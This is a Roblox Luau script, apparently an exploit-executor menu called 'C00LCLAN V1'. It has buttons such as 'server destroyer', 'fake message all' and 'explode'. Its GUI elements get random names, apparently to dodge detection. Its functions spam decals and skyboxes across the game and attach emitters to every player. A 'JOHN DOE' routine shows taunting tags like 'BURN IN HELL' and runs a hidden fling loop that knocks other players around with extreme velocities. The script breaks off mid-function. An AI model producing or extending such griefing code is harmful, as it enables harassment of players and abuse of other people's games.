G2L["27"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27"]["Text"] = [[server destroyer]];
G2L["27"]["Position"] = UDim2.new(0.08485, 0, 0.6016, 0);
-- StarterGui.ScreenGui.Frame.TextButton.Script
G2L["28"] = Instance.new("Script", G2L["27"]);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["29"] = Instance.new("LocalScript", G2L["27"]);
-- StarterGui.ScreenGui.Frame.TextButton.RemoteEvent
G2L["2a"] = Instance.new("RemoteEvent", G2L["27"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["2b"] = Instance.new("TextButton", G2L["2"]);
G2L["2b"]["BorderSizePixel"] = 0;
G2L["2b"]["TextSize"] = 14;
G2L["2b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2b"]["BackgroundTransparency"] = 0.2;
G2L["2b"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["2b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b"]["Text"] = [[fake message all]];
G2L["2b"]["Position"] = UDim2.new(0.37215, 0, 0.6034, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["2c"] = Instance.new("LocalScript", G2L["2b"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["2d"] = Instance.new("TextButton", G2L["2"]);
G2L["2d"]["BorderSizePixel"] = 0;
G2L["2d"]["TextSize"] = 14;
G2L["2d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2d"]["BackgroundTransparency"] = 0.2;
G2L["2d"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["2d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d"]["Text"] = [[unanchor]];
G2L["2d"]["Position"] = UDim2.new(0.68878, 0, 0.60491, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["2e"] = Instance.new("LocalScript", G2L["2d"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["2f"] = Instance.new("TextButton", G2L["2"]);
G2L["2f"]["BorderSizePixel"] = 0;
G2L["2f"]["TextSize"] = 14;
G2L["2f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f"]["BackgroundTransparency"] = 0.2;
G2L["2f"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["2f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f"]["Text"] = [[rainbow all]];
G2L["2f"]["Position"] = UDim2.new(0.08557, 0, 0.72121, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["30"] = Instance.new("LocalScript", G2L["2f"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["31"] = Instance.new("TextButton", G2L["2"]);
G2L["31"]["BorderSizePixel"] = 0;
G2L["31"]["TextSize"] = 14;
G2L["31"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["31"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["31"]["BackgroundTransparency"] = 0.2;
G2L["31"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["31"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31"]["Text"] = [[raining fire]];
G2L["31"]["Position"] = UDim2.new(0.37329, 0, 0.71836, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["32"] = Instance.new("LocalScript", G2L["31"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["33"] = Instance.new("TextButton", G2L["2"]);
G2L["33"]["BorderSizePixel"] = 0;
G2L["33"]["TextSize"] = 14;
G2L["33"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["33"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["33"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["33"]["BackgroundTransparency"] = 0.2;
G2L["33"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["33"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["33"]["Text"] = [[disco]];
G2L["33"]["Position"] = UDim2.new(0.69005, 0, 0.71769, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["34"] = Instance.new("LocalScript", G2L["33"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["35"] = Instance.new("TextButton", G2L["2"]);
G2L["35"]["BorderSizePixel"] = 0;
G2L["35"]["TextSize"] = 14;
G2L["35"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["35"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["35"]["BackgroundTransparency"] = 0.2;
G2L["35"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["35"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35"]["Text"] = [[guns]];
G2L["35"]["Position"] = UDim2.new(0.09018, 0, 0.83746, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["36"] = Instance.new("LocalScript", G2L["35"]);
-- StarterGui.ScreenGui.Frame.TextButton.Script
G2L["37"] = Instance.new("Script", G2L["35"]);
-- StarterGui.ScreenGui.Frame.TextButton.RemoteEvent
G2L["38"] = Instance.new("RemoteEvent", G2L["35"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["39"] = Instance.new("TextButton", G2L["2"]);
G2L["39"]["BorderSizePixel"] = 0;
G2L["39"]["TextSize"] = 14;
G2L["39"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["39"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["39"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["39"]["BackgroundTransparency"] = 0.2;
G2L["39"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["39"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["39"]["Text"] = [[explode]];
G2L["39"]["Position"] = UDim2.new(0.37325, 0, 0.83105, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["3a"] = Instance.new("LocalScript", G2L["39"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["3b"] = Instance.new("TextButton", G2L["2"]);
G2L["3b"]["BorderSizePixel"] = 0;
G2L["3b"]["TextSize"] = 14;
G2L["3b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3b"]["BackgroundTransparency"] = 0.2;
G2L["3b"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["3b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3b"]["Text"] = [[set walkspeed]];
G2L["3b"]["Position"] = UDim2.new(0.68564, 0, 0.83108, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["3c"] = Instance.new("LocalScript", G2L["3b"]);
-- StarterGui.ScreenGui.Frame.LocalScript
G2L["3d"] = Instance.new("LocalScript", G2L["2"]);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_7()
local script = G2L["7"];
script.Parent.MouseButton1Click:Connect(function()
--Services
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
local PlayerGui = Player:WaitForChild("PlayerGui")
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local PhysicsService = game:GetService("PhysicsService")
local Character = Player.Character or Player.CharacterAdded:Wait()
local Humanoid = Character:WaitForChild("Humanoid")
local HRP = Character:WaitForChild("HumanoidRootPart")
local Mouse = Player:GetMouse()
local CollectionService = game:GetService("CollectionService")
local RunService = game:GetService("RunService")
local TeleportService = game:GetService("TeleportService")
local HttpService = game:GetService("HttpService")
local TweenService = game:GetService("TweenService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local MarketplaceService = game:GetService("MarketplaceService")
local StarterGui = game:GetService("StarterGui")
local Debris = game:GetService("Debris")
local Lighting = game:GetService("Lighting")
local SoundService = game:GetService("SoundService")
local player = Player
local PlaceId = game.PlaceId
local JobId = game.JobId
--settings
local infjump = false
local invisRunning = false
local noclipOn = false
local noclipConn
local hoverHeight
local bindFrame, bindConn, waitingBindFunction
local customBinds = {}
local infJumpEnabled = false
local infJumpConnection = nil
local espOn = false
local spinOn = false
local spinBAV, lockBP
local savedCFrame
local invisRunning = false
local InvisibleCharacter = nil
local OriginalCharacter = nil
local voidConn = nil
local flyingEnabled = false
local invisRunning = false
local flyBG, flyBV, flyConn
local ray = workspace.CurrentCamera:ScreenPointToRay(Mouse.X, Mouse.Y)
local hit, pos = workspace:FindPartOnRay(ray, Character)
--GUI settings
local GUI_WIDTH = 400
local GUI_HEIGHT = 320
local TITLE_HEIGHT = 30
local NAV_HEIGHT = 30
local FOOTER_HEIGHT = 30
local GRID_PADDING = 4
local GRID_COLUMNS = 4
math.randomseed(os.time())
local character_set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
local string_sub = string.sub
local math_random = math.random
local table_concat = table.concat
local character_set_amount = #character_set
local number_one = 1
local default_length = 10
local function generate_string(length)
local random_string = {}
for int = number_one, length or default_length do
local random_number = math_random(number_one, character_set_amount)
local character = string_sub(character_set, random_number, random_number)
random_string[#random_string + number_one] = character
end
return table_concat(random_string)
end
-- Function manager with descriptions
local FunctionManager = {
CategorizedFunctions = { All = {} },
Categories = { "All" },
CurrentCategoryIndex= 1,
Descriptions = {},
ISFE = {},
OnFunctionAdded = Instance.new("BindableEvent"),
}
function FunctionManager:register(name, callback, category, description, FE)
category = category or "General"
if not self.CategorizedFunctions[category] then
self.CategorizedFunctions[category] = {}
table.insert(self.Categories, category)
end
self.CategorizedFunctions[category][name] = callback
self.CategorizedFunctions.All[name] = callback
self.Descriptions[name] = description or ""
self.ISFE[name] = FE or "yes"
if description == "NOT FE" then
self.ISFE[name] = "no"
end
self.OnFunctionAdded:Fire(category, name, callback)
self.OnFunctionAdded:Fire("All", name, callback)
end
function FunctionManager:getCurrentCategory()
return self.Categories[self.CurrentCategoryIndex]
end
function FunctionManager:cycleCategory()
self.CurrentCategoryIndex = self.CurrentCategoryIndex % #self.Categories + 1
return self:getCurrentCategory()
end
local screenGui = Instance.new("ScreenGui")
screenGui.Name = generate_string(math_random(1, 10))
local die = screenGui.Name
screenGui.ResetOnSpawn= false
screenGui.Parent = PlayerGui
local notificationContainer = Instance.new("Frame")
notificationContainer.Name = "NotificationContainer"
notificationContainer.Size = UDim2.new(1, 0, 1, 0)
notificationContainer.Position = UDim2.new(0, 0, 0, 0)
notificationContainer.BackgroundTransparency = 1
notificationContainer.ZIndex = 100
notificationContainer.Parent = screenGui
local function Notify(text, title, duration)
duration = duration or 4
local frame = Instance.new("Frame")
frame.AnchorPoint = Vector2.new(1, 1)
frame.Size = UDim2.new(0, 300, 0, 70)
frame.Position = UDim2.new(1, 320, 1, -10)
frame.BackgroundColor3 = Color3.fromRGB(40, 0, 0)
frame.BackgroundTransparency = 0
frame.BorderSizePixel = 0
frame.ZIndex = 200
frame.Parent = notificationContainer
local titleLabel = Instance.new("TextLabel")
titleLabel.BackgroundTransparency = 1
titleLabel.Size = UDim2.new(1, -10, 0, 24)
titleLabel.Position = UDim2.new(0, 5, 0, 4)
titleLabel.Font = Enum.Font.SourceSansBold
titleLabel.Text = title or "Notice"
titleLabel.TextColor3 = Color3.new(1, 1, 1)
titleLabel.TextSize = 18
titleLabel.TextXAlignment = Enum.TextXAlignment.Left
titleLabel.ZIndex = 201
titleLabel.Parent = frame
local bodyLabel = Instance.new("TextLabel")
bodyLabel.BackgroundTransparency = 1
bodyLabel.Size = UDim2.new(1, -10, 1, -30)
bodyLabel.Position = UDim2.new(0, 5, 0, 28)
bodyLabel.Font = Enum.Font.SourceSans
bodyLabel.Text = text or ""
bodyLabel.TextColor3 = Color3.new(1, 1, 1)
bodyLabel.TextSize = 14
bodyLabel.TextWrapped = true
bodyLabel.TextXAlignment = Enum.TextXAlignment.Left
bodyLabel.ZIndex = 201
bodyLabel.Parent = frame
task.defer(function()
local slideIn = TweenService:Create(frame, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
Position = UDim2.new(1, -10, 1, -10)
})
slideIn:Play()
end)
task.delay(duration, function()
local fadeOut = TweenService:Create(frame, TweenInfo.new(0.3), {
BackgroundTransparency = 1,
Position = UDim2.new(1, 320, 1, -10)
})
local titleFade = TweenService:Create(titleLabel, TweenInfo.new(0.3), {TextTransparency = 1})
local bodyFade = TweenService:Create(bodyLabel, TweenInfo.new(0.3), {TextTransparency = 1})
fadeOut:Play()
titleFade:Play()
bodyFade:Play()
fadeOut.Completed:Wait()
frame:Destroy()
end)
end
local notificationLayout = Instance.new("UIListLayout")
notificationLayout.SortOrder = Enum.SortOrder.LayoutOrder
notificationLayout.Padding = UDim.new(0, 6)
notificationLayout.HorizontalAlignment = Enum.HorizontalAlignment.Right
notificationLayout.VerticalAlignment = Enum.VerticalAlignment.Bottom
notificationLayout.Parent = notificationContainer
Notify("Welcome to C00lClan!", "Have fun!", 3)
-- Main frame
local mainFrame = Instance.new("Frame")
mainFrame.Name = generate_string(math_random(1, 10))
mainFrame.Size = UDim2.new(0, GUI_WIDTH, 0, GUI_HEIGHT)
mainFrame.Position = UDim2.new(0.5, -GUI_WIDTH/2, 0.5, -GUI_HEIGHT/2)
mainFrame.BackgroundColor3= Color3.fromRGB(25, 5, 5)
mainFrame.BorderSizePixel = 0
mainFrame.Parent = screenGui
-- Tooltip
local tooltip = Instance.new("TextLabel", screenGui)
tooltip.Name = generate_string(math_random(1, 10))
tooltip.Size = UDim2.new(0, 200, 0, 40)
tooltip.BackgroundColor3 = Color3.fromRGB(30,30,30)
tooltip.BorderSizePixel = 0
tooltip.Visible = false
tooltip.ZIndex = 100
tooltip.ClipsDescendants = false
tooltip.TextColor3 = Color3.fromRGB(255, 255, 255)
tooltip.TextWrapped = true
-- Title bar
local titleBar = Instance.new("Frame", mainFrame)
titleBar.Name = generate_string(math_random(1, 10))
titleBar.Size = UDim2.new(1,0,0,TITLE_HEIGHT)
titleBar.BackgroundColor3 = Color3.fromRGB(60,0,0)
titleBar.BorderSizePixel = 0
local titleLabel = Instance.new("TextLabel", titleBar)
titleLabel.Size = UDim2.new(1,-60,1,0)
titleLabel.Position = UDim2.new(0,4,0,0)
titleLabel.BackgroundTransparency = 1
titleLabel.Text = "C00LCLAN V1"
titleLabel.Font = Enum.Font.SourceSansBold
titleLabel.TextSize = 18
titleLabel.TextColor3 = Color3.new(1,1,1)
titleLabel.TextXAlignment = Enum.TextXAlignment.Left
titleLabel.Name = generate_string(math_random(1, 10))
local minBtn = Instance.new("TextButton", titleBar)
minBtn.Name = generate_string(math_random(1, 10))
minBtn.Size = UDim2.new(0,30,1,0)
minBtn.Position = UDim2.new(1,-30,0,0)
minBtn.Text = "_"
minBtn.Font = Enum.Font.SourceSansBold
minBtn.TextSize = 18
minBtn.TextColor3 = Color3.new(1,1,1)
minBtn.BackgroundColor3 = Color3.fromRGB(80,10,10)
minBtn.BorderSizePixel = 0
-- Drag logic
local dragging, dragInput, dragStart, startPos = false, nil
local function updateDrag(input)
local delta = input.Position - dragStart
mainFrame.Position = startPos + UDim2.new(0, delta.X, 0, delta.Y)
end
titleBar.InputBegan:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseButton1 then
dragging, dragStart, startPos = true, i.Position, mainFrame.Position
i.Changed:Connect(function()
if i.UserInputState==Enum.UserInputState.End then dragging=false end
end)
end
end)
titleBar.InputChanged:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseMovement then dragInput=i end
end)
UserInputService.InputChanged:Connect(function(i)
if i==dragInput and dragging then updateDrag(i) end
end)
-- Category nav
local catNav = Instance.new("Frame", mainFrame)
catNav.Name = generate_string(math_random(1, 10))
catNav.Size = UDim2.new(1,0,0,NAV_HEIGHT)
catNav.Position = UDim2.new(0,0,0,TITLE_HEIGHT)
catNav.BackgroundTransparency = 1
local leftCat = Instance.new("TextButton", catNav)
leftCat.Size = UDim2.new(0,50,1,0)
leftCat.Text = "<"
leftCat.Font = Enum.Font.SourceSansBold
leftCat.TextSize = 24
leftCat.TextColor3 = Color3.new(1,1,1)
leftCat.BackgroundColor3 = Color3.fromRGB(100,0,0)
leftCat.BorderSizePixel = 0
leftCat.Name = generate_string(math_random(1, 10))
local catLabel = Instance.new("TextLabel", catNav)
catLabel.Size = UDim2.new(1,-100,1,0)
catLabel.Position = UDim2.new(0,50,0,0)
catLabel.BackgroundTransparency = 1
catLabel.Text = "All"
catLabel.Font = Enum.Font.SourceSansBold
catLabel.TextSize = 18
catLabel.TextColor3 = Color3.new(1,1,1)
catNav.Name = generate_string(math_random(1, 10))
local rightCat = leftCat:Clone()
rightCat.Parent = catNav
rightCat.Position = UDim2.new(1,-50,0,0)
rightCat.Text = ">"
rightCat.Name = generate_string(math_random(1, 10))
-- Grid
local gridFrame = Instance.new("ScrollingFrame", mainFrame)
gridFrame.Name = generate_string(math_random(1, 10))
gridFrame.ClipsDescendants= true
gridFrame.Size = UDim2.new(1,-2*GRID_PADDING,0,GUI_HEIGHT-TITLE_HEIGHT-NAV_HEIGHT-FOOTER_HEIGHT-2*GRID_PADDING)
gridFrame.Position = UDim2.new(0,GRID_PADDING,0,TITLE_HEIGHT+NAV_HEIGHT+GRID_PADDING)
gridFrame.BackgroundTransparency = 1
local gridLayout = Instance.new("UIGridLayout", gridFrame)
gridLayout.Name = generate_string(math_random(1, 10))
gridLayout.CellSize = UDim2.new(0,(GUI_WIDTH-2*GRID_PADDING-(GRID_COLUMNS-1)*GRID_PADDING)/GRID_COLUMNS,0,40)
gridLayout.CellPadding = UDim2.new(0,GRID_PADDING,0,GRID_PADDING)
gridLayout.SortOrder = Enum.SortOrder.LayoutOrder
-- Footer
local footer = Instance.new("Frame", mainFrame)
footer.Name = generate_string(math_random(1, 10))
footer.Size = UDim2.new(1,0,0,FOOTER_HEIGHT)
footer.Position = UDim2.new(0,0,1,-FOOTER_HEIGHT)
footer.BackgroundTransparency = 1
local closeBtn = Instance.new("TextButton", footer)
closeBtn.Size = UDim2.new(1,0,1,0)
closeBtn.Text = "Close"
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 18
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.BackgroundColor3 = Color3.fromRGB(100,0,0)
closeBtn.BorderSizePixel = 0
closeBtn.Name = generate_string(math_random(1, 10))
-- Minimize toggle
local minimized = false
minBtn.MouseButton1Click:Connect(function()
minimized = not minimized
if minimized == true then
mainFrame.BackgroundTransparency = 1
else
mainFrame.BackgroundTransparency = 0
end
gridFrame.Visible = not minimized
catNav.Visible = not minimized
footer.Visible = not minimized
minBtn.Text = minimized and "◻" or "_"
end)
local function NotifyERROR(text)
Notify(text, "ERROR", 3)
end
-- Build the grid and tooltips
local function updateGrid()
for _, c in ipairs(gridFrame:GetChildren()) do
if c:IsA("TextButton") then c:Destroy() end
end
local cat = FunctionManager:getCurrentCategory()
catLabel.Text = cat
for name, cb in pairs(FunctionManager.CategorizedFunctions[cat]) do
local btn = Instance.new("TextButton")
local isFE = FunctionManager.ISFE[name]
btn.Size = UDim2.new(1,0,0,40)
btn.BackgroundColor3 = Color3.fromRGB(70,10,10)
btn.BorderSizePixel = 0
btn.Font = Enum.Font.SourceSansBold
btn.TextSize = 16
btn.TextColor3 = Color3.new(1,1,1)
btn.Text = name
btn.TextWrapped = true
btn.Parent = gridFrame
btn.Name = generate_string(math_random(1, 10))
if isFE == "no" then
btn.BackgroundColor3 = Color3.fromRGB(72, 100, 87)
end
-- tooltip
local desc = FunctionManager.Descriptions[name]
btn.MouseMoved:Connect(function()
if desc ~= "" and desc ~= nil then
tooltip.Text = desc
tooltip.Position = UDim2.new(0,Mouse.X,0,Mouse.Y - tooltip.Size.Y.Offset - 4)
tooltip.Visible = true
end
end)
btn.MouseLeave:Connect(function() tooltip.Visible = false end)
btn.MouseButton1Click:Connect(function()
pcall(cb)
end)
end
end
local logo = Instance.new("ImageLabel")
logo.Name = generate_string(math_random(1, 10))
logo.BackgroundTransparency = 1
logo.Size = UDim2.new(1, 0, 0, 100)
logo.Position = UDim2.new(0, -50, 0, -100)
logo.Image = "rbxassetid://87486058304609"
logo.ScaleType = Enum.ScaleType.Fit
logo.Parent = mainFrame
-- nav buttons
leftCat.MouseButton1Click:Connect(function()
FunctionManager.CurrentCategoryIndex = (FunctionManager.CurrentCategoryIndex - 2) % #FunctionManager.Categories + 1
updateGrid()
end)
rightCat.MouseButton1Click:Connect(function()
FunctionManager:cycleCategory()
updateGrid()
end)
closeBtn.MouseButton1Click:Connect(function()
screenGui:Destroy()
end)
FunctionManager.OnFunctionAdded.Event:Connect(updateGrid)
-- Initialize
updateGrid()
FunctionManager:register("Decal Spam", function()
local decalID = 8408806737
local function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id="..decalID then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id="..decalID
Two.Texture = "http://www.roblox.com/asset/?id="..decalID
Three.Texture = "http://www.roblox.com/asset/?id="..decalID
Four.Texture = "http://www.roblox.com/asset/?id="..decalID
Five.Texture = "http://www.roblox.com/asset/?id="..decalID
Six.Texture = "http://www.roblox.com/asset/?id="..decalID
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
local function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(game.Workspace)
asdf(game.Workspace)
local s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game.Lighting
local skyboxID = 8408806737
s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID
game.Lighting.TimeOfDay = 12
for i, v in pairs(game.Players:GetChildren()) do
local emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Torso
emit.Texture = "http://www.roblox.com/asset/?id=8408806737"
emit.VelocitySpread = 20
end
for i, v in pairs(game.Players:GetChildren()) do
local emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Torso
emit.Texture = "http://www.roblox.com/asset/?id=8408806737"
emit.VelocitySpread = 20
end
for i, v in pairs(game.Players:GetChildren()) do
local emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Torso
emit.Texture = "http://www.roblox.com/asset/?id=8408806737"
emit.VelocitySpread = 20
end
while true do
game.Lighting.Ambient = Color3.new(math.random() , math.random() , math.random())
wait(0.2)
game.Lighting.ShadowColor = Color3.new(math.random() , math.random() , math.random())
wait(0.2)
end
end, "Troll", "NOT FE")
FunctionManager:register("JOHN DOE", function()
local redSkyboxAssetId = "rbxassetid://1012887"
local sky = Lighting:FindFirstChildOfClass("Sky")
if not sky then
sky = Instance.new("Sky", Lighting)
end
sky.SkyboxBk = redSkyboxAssetId
sky.SkyboxDn = redSkyboxAssetId
sky.SkyboxFt = redSkyboxAssetId
sky.SkyboxLf = redSkyboxAssetId
sky.SkyboxRt = redSkyboxAssetId
sky.SkyboxUp = redSkyboxAssetId
if not ReplicatedStorage:FindFirstChild("juisdfj0i32i0eidsuf0iok") then
local detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = ReplicatedStorage
end
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "PersistentSoundGui"
screenGui.ResetOnSpawn = false
screenGui.Parent = player:WaitForChild("PlayerGui")
local button = Instance.new("TextButton")
button.Size = UDim2.new(0, 150, 0, 50)
button.Position = UDim2.new(0.02, 0, 0.477, 0)
button.Text = "Sound Toggle"
button.Font = Enum.Font.SourceSansBold
button.TextSize = 20
button.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
button.TextColor3 = Color3.new(1, 1, 1)
button.Parent = screenGui
local backgroundSound = SoundService:FindFirstChild("PersistentBGSound")
if not backgroundSound then
backgroundSound = Instance.new("Sound")
backgroundSound.Name = "PersistentBGSound"
backgroundSound.SoundId = "rbxassetid://19094700"
backgroundSound.PlaybackSpeed = 0.221
backgroundSound.Looped = true
backgroundSound.Volume = 1
backgroundSound.Parent = SoundService
backgroundSound:Play()
end
button.Activated:Connect(function()
backgroundSound.Playing = not backgroundSound.Playing
end)
local function setupCharacter(character)
local humanoid = character:WaitForChild("Humanoid")
local torso = character:WaitForChild("Torso")
local hrp = character:WaitForChild("HumanoidRootPart")
local tool = Instance.new("Tool")
tool.Name = "Slash"
tool.RequiresHandle = false
tool.Parent = player.Backpack
tool.Activated:Connect(function()
local animation = Instance.new("Animation")
animation.AnimationId = "rbxassetid://186934658"
local track = humanoid:LoadAnimation(animation)
track:Play()
track:AdjustSpeed(2)
local s = Instance.new("Sound", torso)
s.SoundId = "rbxassetid://28144425"
s:Play()
task.wait(0.2)
local s2 = Instance.new("Sound", torso)
s2.SoundId = "rbxassetid://429400881"
s2.Volume = 0.2
s2:Play()
end)
local naeeym = Instance.new("BillboardGui", character)
naeeym.Size = UDim2.new(0, 100, 0, 40)
naeeym.StudsOffset = Vector3.new(0, 2, 0)
naeeym.Adornee = character:WaitForChild("Head")
local tecks = Instance.new("TextLabel", naeeym)
tecks.BackgroundTransparency = 1
tecks.BorderSizePixel = 0
tecks.Font = Enum.Font.Fantasy
tecks.TextSize = 24
tecks.TextStrokeTransparency = 0
tecks.TextStrokeColor3 = Color3.new(0, 0, 0)
tecks.TextColor3 = Color3.new(0, 0, 0)
tecks.Size = UDim2.new(1, 0, 0.5, 0)
tecks.Text = "John Doe"
local function changeName(newName)
tecks.Text = newName
end
local function shakeTag()
local originalOffset = naeeym.StudsOffset
for _ = 1, 10 do
naeeym.StudsOffset = originalOffset + Vector3.new(math.random(-1,1), math.random(-1,1), math.random(-1,1))
task.wait(0.05)
end
naeeym.StudsOffset = originalOffset
end
coroutine.wrap(function()
while character:IsDescendantOf(workspace) do
changeName("BURN IN HELL")
shakeTag()
task.wait(0.2)
changeName("STOP")
task.wait(0.1)
changeName("JUST GIVE UP")
shakeTag()
task.wait(0.2)
changeName("STOP")
shakeTag()
task.wait(0.2)
changeName("JOHN DOE")
shakeTag()
task.wait(0.3)
changeName("HOPELESS")
shakeTag()
task.wait(0.3)
end
end)()
local footPartSize = Vector3.new(10, 0.5, 10)
local floorPartColor = BrickColor.Black()
local floorMaterial = Enum.Material.Neon
local yOffset = -2.8
local lastPosition = hrp.Position
local standingTimer = 0
RunService.Heartbeat:Connect(function(dt)
if not character:IsDescendantOf(workspace) then return end
local currentPosition = hrp.Position
standingTimer += dt
local distanceMoved = (currentPosition - lastPosition).Magnitude
local stepPosition = Vector3.new(currentPosition.X, hrp.Position.Y + yOffset, currentPosition.Z)
local function createFootstep(position)
local part = Instance.new("Part")
part.Size = footPartSize
part.Position = position
part.Anchored = true
part.CanCollide = false
part.BrickColor = floorPartColor
part.Material = floorMaterial
part.Transparency = 0.5
part.Parent = workspace
task.spawn(function()
for i = 1, 10 do
part.Transparency = i * 0.03
task.wait(0.05)
end
end)
Debris:AddItem(part, 1)
end
if distanceMoved > 1 then
createFootstep(stepPosition)
lastPosition = currentPosition
standingTimer = 0
elseif standingTimer > 0.5 then
createFootstep(stepPosition)
standingTimer = 0
end
end)
local movel = 0.1
local hiddenfling = true
local function fling()
while hiddenfling and character:IsDescendantOf(workspace) do
if hrp then
local originalVelocity = hrp.Velocity
hrp.Velocity = originalVelocity * 10000 + Vector3.new(0, 10000, 0)
RunService.RenderStepped:Wait()
hrp.Velocity = originalVelocity
RunService.Stepped:Wait()
hrp.Velocity = originalVelocity + Vector3.new(0, movel, 0)
movel = -movel
end
RunService.Heartbeat:Wait()
end
end
coroutine.wrap(fling)()
end
player.CharacterAdded:Connect(setupCharacter)
if player.Character then
setupCharacter(player.Character)
end
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local player = Players.LocalPlayer
local mouse = player:GetMouse()
local function teleportToMousePosition()
